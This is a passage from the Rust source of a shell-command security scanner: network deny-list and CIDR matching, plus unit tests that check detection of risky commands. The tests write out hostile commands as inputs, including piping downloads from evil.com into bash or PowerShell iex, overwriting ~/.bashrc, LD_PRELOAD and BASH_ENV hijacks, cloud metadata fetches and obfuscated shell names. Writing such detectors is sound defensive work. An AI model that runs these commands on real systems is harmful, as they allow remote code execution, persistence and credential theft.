1297 || NON_FETCH_SOURCE_COMMANDS.contains(&cmd)
1298}
1299
1300fn is_url_fetch_command(cmd: &str) -> bool {
1302 POSIX_FETCH_COMMANDS.contains(&cmd) || POWERSHELL_FETCH_COMMANDS.contains(&cmd)
1303}
1304
1305fn supports_tirith_run_hint(cmd: &str) -> bool {
1308 POSIX_FETCH_COMMANDS.contains(&cmd)
1309}
1310
1311fn starts_with_http_scheme(s: &str) -> bool {
1313 let b = s.as_bytes();
1314 (b.len() >= 8 && b[..8].eq_ignore_ascii_case(b"https://"))
1315 || (b.len() >= 7 && b[..7].eq_ignore_ascii_case(b"http://"))
1316}
1317
1318fn sanitize_url_for_display(url: &str) -> String {
1322 url.chars().filter(|&c| !c.is_ascii_control()).collect()
1323}
1324
1325fn extract_url_from_args(args: &[String], shell: ShellType) -> Option<String> {
1327 for arg in args {
1328 let normalized = normalize_shell_token(arg.trim(), shell);
1329
1330 if starts_with_http_scheme(&normalized) {
1331 return Some(normalized);
1332 }
1333
1334 if let Some((_, val)) = normalized.split_once('=') {
1336 if starts_with_http_scheme(val) {
1337 return Some(val.to_string());
1338 }
1339 }
1340 }
1341 None
1342}
1343
1344pub fn check_network_policy(
1349 input: &str,
1350 shell: ShellType,
1351 deny: &[String],
1352 allow: &[String],
1353) -> Vec<Finding> {
1354 if deny.is_empty() {
1355 return Vec::new();
1356 }
1357
1358 let segments = tokenize::tokenize(input, shell);
1359 let mut findings = Vec::new();
1360
1361 for segment in &segments {
1362 let Some(ref cmd) = segment.command else {
1363 continue;
1364 };
1365 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
1366 if !is_source_command(&cmd_base) {
1367 continue;
1368 }
1369
1370 for arg in &segment.args {
1371 let trimmed = arg.trim().trim_matches(|c: char| c == '\'' || c == '"');
1372 if trimmed.starts_with('-') {
1373 if let Some((_flag, value)) = trimmed.split_once('=') {
1375 if let Some(host) = extract_host_from_arg(value) {
1376 if matches_network_list(&host, allow) {
1377 continue;
1378 }
1379 if matches_network_list(&host, deny) {
1380 findings.push(Finding {
1381 rule_id: RuleId::CommandNetworkDeny,
1382 severity: Severity::Critical,
1383 title: format!("Network destination denied by policy: {host}"),
1384 description: format!(
1385 "Command accesses {host}, which is on the network deny list"
1386 ),
1387 evidence: vec![Evidence::Url {
1388 raw: value.to_string(),
1389 }],
1390 human_view: None,
1391 agent_view: None,
1392 mitre_id: None,
1393 custom_rule_id: None,
1394 });
1395 continue;
1396 }
1397 }
1398 }
1399 continue;
1400 }
1401
1402 if let Some(host) = extract_host_from_arg(trimmed) {
1403 if matches_network_list(&host, allow) {
1405 continue;
1406 }
1407 if matches_network_list(&host, deny) {
1408 findings.push(Finding {
1409 rule_id: RuleId::CommandNetworkDeny,
1410 severity: Severity::Critical,
1411 title: format!("Network destination denied by policy: {host}"),
1412 description: format!(
1413 "Command accesses {host}, which is on the network deny list"
1414 ),
1415 evidence: vec![Evidence::Url {
1416 raw: trimmed.to_string(),
1417 }],
1418 human_view: None,
1419 agent_view: None,
1420 mitre_id: None,
1421 custom_rule_id: None,
1422 });
1423 return findings;
1424 }
1425 }
1426 }
1427 }
1428
1429 findings
1430}
1431
1432fn matches_network_list(host: &str, list: &[String]) -> bool {
1437 for entry in list {
1438 if entry.contains('/') {
1440 if let Some(matched) = cidr_contains(host, entry) {
1441 if matched {
1442 return true;
1443 }
1444 continue;
1445 }
1446 }
1447
1448 if host.eq_ignore_ascii_case(entry) {
1450 return true;
1451 }
1452
1453 if host.len() > entry.len()
1455 && host.ends_with(entry.as_str())
1456 && host.as_bytes()[host.len() - entry.len() - 1] == b'.'
1457 {
1458 return true;
1459 }
1460 }
1461 false
1462}
1463
1464fn cidr_contains(host: &str, cidr: &str) -> Option<bool> {
1467 let parts: Vec<&str> = cidr.splitn(2, '/').collect();
1468 if parts.len() != 2 {
1469 return None;
1470 }
1471 let network: std::net::Ipv4Addr = parts[0].parse().ok()?;
1472 let prefix_len: u32 = parts[1].parse().ok()?;
1473 if prefix_len > 32 {
1474 return None;
1475 }
1476 let host_ip: std::net::Ipv4Addr = host.parse().ok()?;
1477
1478 let mask = if prefix_len == 0 {
1479 0u32
1480 } else {
1481 !0u32 << (32 - prefix_len)
1482 };
1483 let net_bits = u32::from(network) & mask;
1484 let host_bits = u32::from(host_ip) & mask;
1485
1486 Some(net_bits == host_bits)
1487}
1488
1489#[cfg(test)]
1490mod tests {
1491 use super::*;
1492
1493 fn check_default(input: &str, shell: ShellType) -> Vec<Finding> {
1495 check(input, shell, None, ScanContext::Exec)
1496 }
1497
1498 #[test]
1499 fn test_pipe_sudo_flags_detected() {
1500 let findings = check_default(
1501 "curl https://evil.com | sudo -u root bash",
1502 ShellType::Posix,
1503 );
1504 assert!(
1505 findings
1506 .iter()
1507 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
1508 "should detect pipe through sudo -u root bash"
1509 );
1510 }
1511
1512 #[test]
1513 fn test_pipe_sudo_long_flag_detected() {
1514 let findings = check_default(
1515 "curl https://evil.com | sudo --user=root bash",
1516 ShellType::Posix,
1517 );
1518 assert!(
1519 findings
1520 .iter()
1521 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
1522 "should detect pipe through sudo --user=root bash"
1523 );
1524 }
1525
1526 #[test]
1527 fn test_pipe_env_var_assignment_detected() {
1528 let findings = check_default("curl https://evil.com | env VAR=1 bash", ShellType::Posix);
1529 assert!(
1530 findings
1531 .iter()
1532 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
1533 "should detect pipe through env VAR=1 bash"
1534 );
1535 }
1536
1537 #[test]
1538 fn test_pipe_env_u_flag_detected() {
1539 let findings = check_default("curl https://evil.com | env -u HOME bash", ShellType::Posix);
1540 assert!(
1541 findings
1542 .iter()
1543 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
1544 "should detect pipe through env -u HOME bash"
1545 );
1546 }
1547
1548 #[test]
1549 fn test_dotfile_overwrite_detected() {
1550 let cases = [
1551 "echo malicious > ~/.bashrc",
1552 "echo malicious >> ~/.bashrc",
1553 "curl https://evil.com > ~/.bashrc",
1554 "cat payload > ~/.profile",
1555 "echo test > $HOME/.bashrc",
1556 ];
1557 for input in &cases {
1558 let findings = check_default(input, ShellType::Posix);
1559 eprintln!(
1560 "INPUT: {:?} -> findings: {:?}",
1561 input,
1562 findings.iter().map(|f| &f.rule_id).collect::<Vec<_>>()
1563 );
1564 assert!(
1565 findings
1566 .iter()
1567 .any(|f| f.rule_id == RuleId::DotfileOverwrite),
1568 "should detect dotfile overwrite in: {input}",
1569 );
1570 }
1571 }
1572
1573 #[test]
1574 fn test_pipe_env_s_flag_detected() {
1575 let findings = check_default("curl https://evil.com | env -S bash -x", ShellType::Posix);
1576 assert!(
1577 findings
1578 .iter()
1579 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
1580 "should detect pipe through env -S bash -x"
1581 );
1582 }
1583
1584 #[test]
1585 fn test_pipe_sudo_env_detected() {
1586 let findings = check_default(
1587 "curl https://evil.com | sudo env VAR=1 bash",
1588 ShellType::Posix,
1589 );
1590 assert!(
1591 findings
1592 .iter()
1593 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
1594 "should detect pipe through sudo env VAR=1 bash"
1595 );
1596 }
1597
1598 #[test]
1599 fn test_httpie_pipe_bash() {
1600 let findings = check_default("http https://evil.com/install.sh | bash", ShellType::Posix);
1601 assert!(
1602 findings
1603 .iter()
1604 .any(|f| f.rule_id == RuleId::HttpiePipeShell),
1605 "should detect HTTPie pipe to bash"
1606 );
1607 }
1608
1609 #[test]
1610 fn test_httpie_https_pipe_bash() {
1611 let findings = check_default("https https://evil.com/install.sh | bash", ShellType::Posix);
1612 assert!(
1613 findings
1614 .iter()
1615 .any(|f| f.rule_id == RuleId::HttpiePipeShell),
1616 "should detect HTTPie https pipe to bash"
1617 );
1618 }
1619
1620 #[test]
1621 fn test_xh_pipe_bash() {
1622 let findings = check_default("xh https://evil.com/install.sh | bash", ShellType::Posix);
1623 assert!(
1624 findings.iter().any(|f| f.rule_id == RuleId::XhPipeShell),
1625 "should detect xh pipe to bash"
1626 );
1627 }
1628
1629 #[test]
1630 fn test_xh_pipe_sudo_bash() {
1631 let findings = check_default(
1632 "xh https://evil.com/install.sh | sudo bash",
1633 ShellType::Posix,
1634 );
1635 assert!(
1636 findings.iter().any(|f| f.rule_id == RuleId::XhPipeShell),
1637 "should detect xh pipe to sudo bash"
1638 );
1639 }
1640
1641 #[test]
1642 fn test_httpie_no_pipe_safe() {
1643 let findings = check_default("http https://example.com/api/data", ShellType::Posix);
1644 assert!(
1645 !findings
1646 .iter()
1647 .any(|f| f.rule_id == RuleId::HttpiePipeShell),
1648 "HTTPie without pipe should not trigger"
1649 );
1650 }
1651
1652 #[test]
1653 fn test_xh_no_pipe_safe() {
1654 let findings = check_default("xh https://example.com/api/data", ShellType::Posix);
1655 assert!(
1656 !findings.iter().any(|f| f.rule_id == RuleId::XhPipeShell),
1657 "xh without pipe should not trigger"
1658 );
1659 }
1660
1661 #[test]
1662 fn test_export_ld_preload() {
1663 let findings = check_default("export LD_PRELOAD=/evil/lib.so", ShellType::Posix);
1664 assert!(
1665 findings
1666 .iter()
1667 .any(|f| f.rule_id == RuleId::CodeInjectionEnv),
1668 "should detect LD_PRELOAD export"
1669 );
1670 }
1671
1672 #[test]
1673 fn test_export_bash_env() {
1674 let findings = check_default("export BASH_ENV=/tmp/evil.sh", ShellType::Posix);
1675 assert!(
1676 findings
1677 .iter()
1678 .any(|f| f.rule_id == RuleId::ShellInjectionEnv),
1679 "should detect BASH_ENV export"
1680 );
1681 }
1682
1683 #[test]
1684 fn test_export_pythonpath() {
1685 let findings = check_default("export PYTHONPATH=/evil/modules", ShellType::Posix);
1686 assert!(
1687 findings
1688 .iter()
1689 .any(|f| f.rule_id == RuleId::InterpreterHijackEnv),
1690 "should detect PYTHONPATH export"
1691 );
1692 }
1693
1694 #[test]
1695 fn test_export_openai_key() {
1696 let findings = check_default("export OPENAI_API_KEY=sk-abc123", ShellType::Posix);
1697 assert!(
1698 findings
1699 .iter()
1700 .any(|f| f.rule_id == RuleId::SensitiveEnvExport),
1701 "should detect OPENAI_API_KEY export"
1702 );
1703 }
1704
1705 #[test]
1706 fn test_export_path_safe() {
1707 let findings = check_default("export PATH=/usr/bin:$PATH", ShellType::Posix);
1708 assert!(
1709 !findings.iter().any(|f| matches!(
1710 f.rule_id,
1711 RuleId::CodeInjectionEnv
1712 | RuleId::ShellInjectionEnv
1713 | RuleId::InterpreterHijackEnv
1714 | RuleId::SensitiveEnvExport
1715 )),
1716 "export PATH should not trigger env var detection"
1717 );
1718 }
1719
1720 #[test]
1721 fn test_env_ld_preload_cmd() {
1722 let findings = check_default(
1723 "env LD_PRELOAD=/evil/lib.so /usr/bin/target",
1724 ShellType::Posix,
1725 );
1726 assert!(
1727 findings
1728 .iter()
1729 .any(|f| f.rule_id == RuleId::CodeInjectionEnv),
1730 "should detect LD_PRELOAD via env command"
1731 );
1732 }
1733
1734 #[test]
1735 fn test_curl_metadata_endpoint() {
1736 let findings = check_default(
1737 "curl http://169.254.169.254/latest/meta-data",
1738 ShellType::Posix,
1739 );
1740 assert!(
1741 findings
1742 .iter()
1743 .any(|f| f.rule_id == RuleId::MetadataEndpoint),
1744 "should detect AWS metadata endpoint"
1745 );
1746 }
1747
1748 #[test]
1749 fn test_curl_private_network() {
1750 let findings = check_default("curl http://10.0.0.1/internal/api", ShellType::Posix);
1751 assert!(
1752 findings
1753 .iter()
1754 .any(|f| f.rule_id == RuleId::PrivateNetworkAccess),
1755 "should detect private network access"
1756 );
1757 }
1758
1759 #[test]
1760 fn test_curl_public_ip_safe() {
1761 let findings = check_default("curl http://8.8.8.8/dns-query", ShellType::Posix);
1762 assert!(
1763 !findings.iter().any(|f| matches!(
1764 f.rule_id,
1765 RuleId::MetadataEndpoint | RuleId::PrivateNetworkAccess
1766 )),
1767 "public IP should not trigger network destination detection"
1768 );
1769 }
1770
1771 #[test]
1772 fn test_metadata_bare_ip() {
1773 let findings = check_default("curl 169.254.169.254/latest/meta-data", ShellType::Posix);
1774 assert!(
1775 findings
1776 .iter()
1777 .any(|f| f.rule_id == RuleId::MetadataEndpoint),
1778 "should detect bare IP metadata endpoint"
1779 );
1780 }
1781
1782 #[test]
1783 fn test_extract_host_from_url() {
1784 assert_eq!(
1785 extract_host_from_arg("http://169.254.169.254/latest"),
1786 Some("169.254.169.254".to_string())
1787 );
1788 assert_eq!(
1789 extract_host_from_arg("http://10.0.0.1:8080/api"),
1790 Some("10.0.0.1".to_string())
1791 );
1792 assert_eq!(
1793 extract_host_from_arg("169.254.169.254/path"),
1794 Some("169.254.169.254".to_string())
1795 );
1796 assert_eq!(
1797 extract_host_from_arg("8.8.8.8"),
1798 Some("8.8.8.8".to_string())
1799 );
1800 assert_eq!(extract_host_from_arg("-H"), None);
1801 assert_eq!(extract_host_from_arg("output.txt"), None);
1802 }
1803
1804 #[test]
1807 fn test_network_policy_deny_exact() {
1808 let deny = vec!["evil.com".to_string()];
1809 let allow = vec![];
1810 let findings = check_network_policy(
1811 "curl https://evil.com/data",
1812 ShellType::Posix,
1813 &deny,
1814 &allow,
1815 );
1816 assert_eq!(findings.len(), 1);
1817 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
1818 }
1819
1820 #[test]
1821 fn test_network_policy_deny_subdomain() {
1822 let deny = vec!["evil.com".to_string()];
1823 let allow = vec![];
1824 let findings = check_network_policy(
1825 "wget https://sub.evil.com/data",
1826 ShellType::Posix,
1827 &deny,
1828 &allow,
1829 );
1830 assert_eq!(findings.len(), 1);
1831 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
1832 }
1833
1834 #[test]
1835 fn test_network_policy_deny_cidr() {
1836 let deny = vec!["10.0.0.0/8".to_string()];
1837 let allow = vec![];
1838 let findings =
1839 check_network_policy("curl http://10.1.2.3/api", ShellType::Posix, &deny, &allow);
1840 assert_eq!(findings.len(), 1);
1841 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
1842 }
1843
1844 #[test]
1845 fn test_network_policy_allow_exempts() {
1846 let deny = vec!["evil.com".to_string()];
1847 let allow = vec!["safe.evil.com".to_string()];
1848 let findings = check_network_policy(
1849 "curl https://safe.evil.com/data",
1850 ShellType::Posix,
1851 &deny,
1852 &allow,
1853 );
1854 assert_eq!(findings.len(), 0, "allow list should exempt from deny");
1855 }
1856
1857 #[test]
1858 fn test_network_policy_no_match() {
1859 let deny = vec!["evil.com".to_string()];
1860 let allow = vec![];
1861 let findings = check_network_policy(
1862 "curl https://example.com/data",
1863 ShellType::Posix,
1864 &deny,
1865 &allow,
1866 );
1867 assert_eq!(findings.len(), 0);
1868 }
1869
1870 #[test]
1871 fn test_network_policy_empty_deny() {
1872 let deny = vec![];
1873 let allow = vec![];
1874 let findings =
1875 check_network_policy("curl https://evil.com", ShellType::Posix, &deny, &allow);
1876 assert_eq!(
1877 findings.len(),
1878 0,
1879 "empty deny list should produce no findings"
1880 );
1881 }
1882
1883 #[test]
1884 fn test_cidr_contains() {
1885 assert_eq!(cidr_contains("10.0.0.1", "10.0.0.0/8"), Some(true));
1886 assert_eq!(cidr_contains("10.255.255.255", "10.0.0.0/8"), Some(true));
1887 assert_eq!(cidr_contains("11.0.0.1", "10.0.0.0/8"), Some(false));
1888 assert_eq!(cidr_contains("192.168.1.1", "192.168.0.0/16"), Some(true));
1889 assert_eq!(cidr_contains("192.169.1.1", "192.168.0.0/16"), Some(false));
1890 assert_eq!(cidr_contains("not-an-ip", "10.0.0.0/8"), None);
1891 assert_eq!(cidr_contains("10.0.0.1", "invalid"), None);
1892 }
1893
1894 #[test]
1895 fn test_matches_network_list_hostname() {
1896 let list = vec!["evil.com".to_string(), "bad.org".to_string()];
1897 assert!(matches_network_list("evil.com", &list));
1898 assert!(matches_network_list("sub.evil.com", &list));
1899 assert!(!matches_network_list("notevil.com", &list));
1900 assert!(!matches_network_list("good.com", &list));
1901 }
1902
1903 #[test]
1904 fn test_flag_value_url_detected_in_network_policy() {
1905 let deny = vec!["evil.com".to_string()];
1906 let allow = vec![];
1907 let findings = check_network_policy(
1908 "curl --url=http://evil.com/data",
1909 ShellType::Posix,
1910 &deny,
1911 &allow,
1912 );
1913 assert_eq!(findings.len(), 1, "should detect denied host in --flag=URL");
1914 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
1915 }
1916
1917 #[test]
1918 fn test_flag_value_url_metadata_endpoint() {
1919 let findings = check(
1920 "curl --url=http://169.254.169.254/latest/meta-data",
1921 ShellType::Posix,
1922 None,
1923 ScanContext::Exec,
1924 );
1925 assert!(
1926 findings
1927 .iter()
1928 .any(|f| f.rule_id == RuleId::MetadataEndpoint),
1929 "should detect metadata endpoint in --flag=URL"
1930 );
1931 }
1932
1933 #[test]
1934 fn test_flag_value_url_private_network() {
1935 let findings = check(
1936 "curl --url=http://10.0.0.1/internal",
1937 ShellType::Posix,
1938 None,
1939 ScanContext::Exec,
1940 );
1941 assert!(
1942 findings
1943 .iter()
1944 .any(|f| f.rule_id == RuleId::PrivateNetworkAccess),
1945 "should detect private network in --flag=URL"
1946 );
1947 }
1948
1949 #[test]
1950 fn test_strip_port_unbracketed_ipv6() {
1951 assert_eq!(strip_port("fe80::1"), "fe80::1");
1952 }
1953
1954 #[test]
1955 fn test_vet_not_configured_fires_without_supply_chain() {
1956 let dir = tempfile::tempdir().unwrap();
1957 let cwd = dir.path().to_str().unwrap();
1958 let findings = check(
1959 "cargo install serde_json",
1960 ShellType::Posix,
1961 Some(cwd),
1962 ScanContext::Exec,
1963 );
1964 assert!(findings
1965 .iter()
1966 .any(|f| f.rule_id == RuleId::VetNotConfigured));
1967 }
1968
1969 #[test]
1970 fn test_vet_not_configured_suppressed_with_supply_chain() {
1971 let dir = tempfile::tempdir().unwrap();
1972 let sc_dir = dir.path().join("supply-chain");
1973 std::fs::create_dir_all(&sc_dir).unwrap();
1974 std::fs::write(sc_dir.join("config.toml"), "").unwrap();
1975 let cwd = dir.path().to_str().unwrap();
1976 let findings = check(
1977 "cargo install serde_json",
1978 ShellType::Posix,
1979 Some(cwd),
1980 ScanContext::Exec,
1981 );
1982 assert!(!findings
1983 .iter()
1984 .any(|f| f.rule_id == RuleId::VetNotConfigured));
1985 }
1986
1987 #[test]
1988 fn test_vet_not_configured_skips_non_install() {
1989 let dir = tempfile::tempdir().unwrap();
1990 let cwd = dir.path().to_str().unwrap();
1991 let findings = check(
1992 "cargo build",
1993 ShellType::Posix,
1994 Some(cwd),
1995 ScanContext::Exec,
1996 );
1997 assert!(!findings
1998 .iter()
1999 .any(|f| f.rule_id == RuleId::VetNotConfigured));
2000 }
2001
2002 #[test]
2003 fn test_vet_detects_cargo_with_flags() {
2004 let dir = tempfile::tempdir().unwrap();
2005 let cwd = dir.path().to_str().unwrap();
2006 let f1 = check(
2007 "cargo --locked install serde",
2008 ShellType::Posix,
2009 Some(cwd),
2010 ScanContext::Exec,
2011 );
2012 assert!(f1.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
2013 let f2 = check(
2014 "cargo +nightly add tokio",
2015 ShellType::Posix,
2016 Some(cwd),
2017 ScanContext::Exec,
2018 );
2019 assert!(f2.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
2020 let f3 = check(
2021 "cargo -Z sparse-registry install serde",
2022 ShellType::Posix,
2023 Some(cwd),
2024 ScanContext::Exec,
2025 );
2026 assert!(f3.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
2027 }
2028
2029 #[test]
2030 fn test_vet_skipped_in_paste_context() {
2031 let dir = tempfile::tempdir().unwrap();
2032 let cwd = dir.path().to_str().unwrap();
2033 let findings = check(
2034 "cargo install serde_json",
2035 ShellType::Posix,
2036 Some(cwd),
2037 ScanContext::Paste,
2038 );
2039 assert!(!findings
2040 .iter()
2041 .any(|f| f.rule_id == RuleId::VetNotConfigured));
2042 }
2043
2044 #[test]
2045 fn test_vet_no_false_positive_on_non_install_subcommand() {
2046 let dir = tempfile::tempdir().unwrap();
2047 let cwd = dir.path().to_str().unwrap();
2048 let f1 = check(
2049 "cargo test --package add",
2050 ShellType::Posix,
2051 Some(cwd),
2052 ScanContext::Exec,
2053 );
2054 assert!(!f1.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
2055 let f2 = check(
2056 "cargo build install",
2057 ShellType::Posix,
2058 Some(cwd),
2059 ScanContext::Exec,
2060 );
2061 assert!(!f2.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
2062 }
2063
2064 #[test]
2065 fn test_vet_detects_cargo_exe_windows_path() {
2066 let dir = tempfile::tempdir().unwrap();
2067 let cwd = dir.path().to_str().unwrap();
2068 let f1 = check(
2069 r"C:\Users\dev\.cargo\bin\cargo.exe install serde",
2070 ShellType::PowerShell,
2071 Some(cwd),
2072 ScanContext::Exec,
2073 );
2074 assert!(
2075 f1.iter().any(|f| f.rule_id == RuleId::VetNotConfigured),
2076 "should detect cargo.exe with Windows backslash path"
2077 );
2078 let f2 = check(
2079 r"C:\Users\dev\.cargo\bin\CARGO.EXE install serde",
2080 ShellType::PowerShell,
2081 Some(cwd),
2082 ScanContext::Exec,
2083 );
2084 assert!(
2085 f2.iter().any(|f| f.rule_id == RuleId::VetNotConfigured),
2086 "should detect CARGO.EXE case-insensitively"
2087 );
2088 }
2089
2090 #[test]
2093 fn test_normalize_ansi_c_basic() {
2094 assert_eq!(normalize_shell_token("$'bash'", ShellType::Posix), "bash");
2095 }
2096
2097 #[test]
2098 fn test_normalize_ansi_c_hex() {
2099 assert_eq!(
2100 normalize_shell_token("$'\\x62\\x61\\x73\\x68'", ShellType::Posix),
2101 "bash"
2102 );
2103 }
2104
2105 #[test]
2106 fn test_normalize_ansi_c_octal() {
2107 assert_eq!(
2108 normalize_shell_token("$'\\142\\141\\163\\150'", ShellType::Posix),
2109 "bash"
2110 );
2111 }
2112
2113 #[test]
2114 fn test_normalize_ansi_c_octal_leading_zero() {
2115 assert_eq!(
2117 normalize_shell_token("$'\\057bin\\057bash'", ShellType::Posix),
2118 "/bin/bash"
2119 );
2120 }
2121
2122 #[test]
2123 fn test_normalize_ansi_c_bare_zero() {
2124 assert_eq!(normalize_shell_token("$'a\\0b'", ShellType::Posix), "a\0b");
2126 }
2127
2128 #[test]
2129 fn test_normalize_ansi_c_unicode() {
2130 assert_eq!(
2131 normalize_shell_token("$'\\u0062ash'", ShellType::Posix),
2132 "bash"
2133 );
2134 }
2135
2136 #[test]
2137 fn test_normalize_double_quotes() {
2138 assert_eq!(normalize_shell_token("\"bash\"", ShellType::Posix), "bash");
2139 }
2140
2141 #[test]
2142 fn test_normalize_single_quotes() {
2143 assert_eq!(normalize_shell_token("'bash'", ShellType::Posix), "bash");
2144 }
2145
2146 #[test]
2147 fn test_normalize_backslash() {
2148 assert_eq!(normalize_shell_token("ba\\sh", ShellType::Posix), "bash");
2149 }
2150
2151 #[test]
2152 fn test_normalize_empty_concat() {
2153 assert_eq!(normalize_shell_token("ba''sh", ShellType::Posix), "bash");
2154 }
2155
2156 #[test]
2157 fn test_normalize_mixed_concat() {
2158 assert_eq!(normalize_shell_token("'ba'sh", ShellType::Posix), "bash");
2159 }
2160
2161 #[test]
2162 fn test_normalize_powershell_backtick() {
2163 assert_eq!(
2164 normalize_shell_token("`i`e`x", ShellType::PowerShell),
2165 "iex"
2166 );
2167 }
2168
2169 #[test]
2170 fn test_normalize_unclosed_single_quote() {
2171 let result = normalize_shell_token("'bash", ShellType::Posix);
2173 assert_eq!(result, "bash");
2174 }
2175
2176 #[test]
2177 fn test_normalize_unclosed_double_quote() {
2178 let result = normalize_shell_token("\"bash", ShellType::Posix);
2179 assert_eq!(result, "bash");
2180 }
2181
2182 #[test]
2185 fn test_cmd_base_path() {
2186 assert_eq!(
2187 normalize_cmd_base("/usr/bin/bash", ShellType::Posix),
2188 "bash"
2189 );
2190 }
2191
2192 #[test]
2193 fn test_cmd_base_ansi_c() {
2194 assert_eq!(normalize_cmd_base("$'bash'", ShellType::Posix), "bash");
2195 }
2196
2197 #[test]
2198 fn test_cmd_base_exe() {
2199 assert_eq!(normalize_cmd_base("bash.exe", ShellType::Posix), "bash");
2200 }
2201
2202 #[test]
2203 fn test_cmd_base_uppercase() {
2204 assert_eq!(normalize_cmd_base("BASH", ShellType::Posix), "bash");
2205 }
2206
2207 #[test]
2208 fn test_cmd_base_powershell_path() {
2209 assert_eq!(
2210 normalize_cmd_base(r"C:\Git\bin\bash.exe", ShellType::PowerShell),
2211 "bash"
2212 );
2213 }
2214
2215 #[test]
2216 fn test_cmd_base_encoded_path() {
2217 assert_eq!(
2219 normalize_cmd_base("$'\\x2fusr\\x2fbin\\x2fbash'", ShellType::Posix),
2220 "bash"
2221 );
2222 }
2223
2224 #[test]
2225 fn test_cmd_base_octal_encoded_path() {
2226 assert_eq!(
2228 normalize_cmd_base("$'\\057bin\\057bash'", ShellType::Posix),
2229 "bash"
2230 );
2231 }
2232
2233 #[test]
2234 fn test_cmd_base_env_s_value() {
2235 assert_eq!(normalize_cmd_base("\"bash -x\"", ShellType::Posix), "bash");
2237 }
2238
2239 #[test]
2240 fn test_cmd_base_path_with_args() {
2241 assert_eq!(
2243 normalize_cmd_base("\"/usr/bin/bash -x\"", ShellType::Posix),
2244 "bash"
2245 );
2246 }
2247
2248 #[test]
2251 fn test_resolve_ansi_c_quoted_bash() {
2252 let findings = check_default(
2253 "curl https://example.com/install.sh | $'bash'",
2254 ShellType::Posix,
2255 );
2256 assert!(
2257 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
2258 "should detect ANSI-C quoted bash: {:?}",
2259 findings.iter().map(|f| &f.rule_id).collect::<Vec<_>>()
2260 );
2261 }
2262
2263 #[test]
2264 fn test_resolve_command_wrapper() {
2265 let findings = check_default(
2266 "curl https://example.com/install.sh | command bash",
2267 ShellType::Posix,
2268 );
2269 assert!(
2270 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
2271 "should detect 'command bash'"
2272 );
2273 }
2274
2275 #[test]
2276 fn test_resolve_exec_a_wrapper() {
2277 let findings = check_default(
2278 "curl https://example.com/install.sh | exec -a myname bash",
2279 ShellType::Posix,
2280 );
2281 assert!(
2282 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
2283 "should detect 'exec -a myname bash'"
2284 );
2285 }
2286
2287 #[test]
2288 fn test_resolve_nohup_wrapper() {
2289 let findings = check_default(
2290 "curl https://example.com/install.sh | nohup bash",
2291 ShellType::Posix,
2292 );
2293 assert!(
2294 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
2295 "should detect 'nohup bash'"
2296 );
2297 }
2298
2299 #[test]
2300 fn test_resolve_wrapper_chain() {
2301 let findings = check_default(
2302 "curl https://example.com/install.sh | command sudo bash",
2303 ShellType::Posix,
2304 );
2305 assert!(
2306 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
2307 "should detect wrapper chain 'command sudo bash'"
2308 );
2309 }
2310
2311 #[test]
2312 fn test_resolve_case_insensitive() {
2313 let findings = check_default(
2314 "curl https://example.com/install.sh | BASH",
2315 ShellType::Posix,
2316 );
2317 assert!(
2318 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
2319 "should detect uppercase BASH"
2320 );
2321 }
2322
2323 #[test]
2324 fn test_resolve_powershell_backtick_iex() {
2325 let findings = check_default(
2326 "iwr https://evil.com/script.ps1 | `i`e`x",
2327 ShellType::PowerShell,
2328 );
2329 assert!(
2330 findings
2331 .iter()
2332 .any(|f| f.rule_id == RuleId::PipeToInterpreter),
2333 "should detect PowerShell backtick-escaped iex"
2334 );
2335 }
2336
2337 #[test]
2340 fn test_pipe_to_interpreter_hint_with_url() {
2341 let input = "curl https://example.com/install.sh | bash";
2342 let segments = tokenize::tokenize(input, ShellType::Posix);
2343 let mut findings = Vec::new();
2344 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2345 assert_eq!(findings.len(), 1);
2346 assert!(
2347 findings[0]
2348 .description
2349 .contains("https://example.com/install.sh"),
2350 "should include extracted URL in hint"
2351 );
2352 assert!(
2353 findings[0].description.contains("getvet.sh"),
2354 "should mention vet"
2355 );
2356 if cfg!(unix) {
2357 assert!(
2358 findings[0].description.contains("tirith run"),
2359 "Unix builds should suggest tirith run"
2360 );
2361 }
2362 }
2363
2364 #[test]
2365 fn test_pipe_to_interpreter_hint_quoted_url() {
2366 let input = r#"curl "https://example.com/install.sh" | bash"#;
2367 let segments = tokenize::tokenize(input, ShellType::Posix);
2368 let mut findings = Vec::new();
2369 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2370 assert_eq!(findings.len(), 1);
2371 assert!(
2372 findings[0]
2373 .description
2374 .contains("https://example.com/install.sh"),
2375 "should extract URL from quoted arg"
2376 );
2377 }
2378
2379 #[test]
2380 fn test_pipe_to_interpreter_hint_flag_equals_url() {
2381 let input = "curl --url=https://example.com/install.sh | bash";
2382 let segments = tokenize::tokenize(input, ShellType::Posix);
2383 let mut findings = Vec::new();
2384 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
2385 assert_eq!(findings.len(), 1);
2386 assert!(
2387 findings[0]
2388 .description
2389 .contains("https://example.com/install.sh"),
2390 "should extract URL from --flag=value"
2391 );
2392 }
2393
2394 #[test]
2395 fn test_pipe_to_interpreter_no_hint_for_cat() {
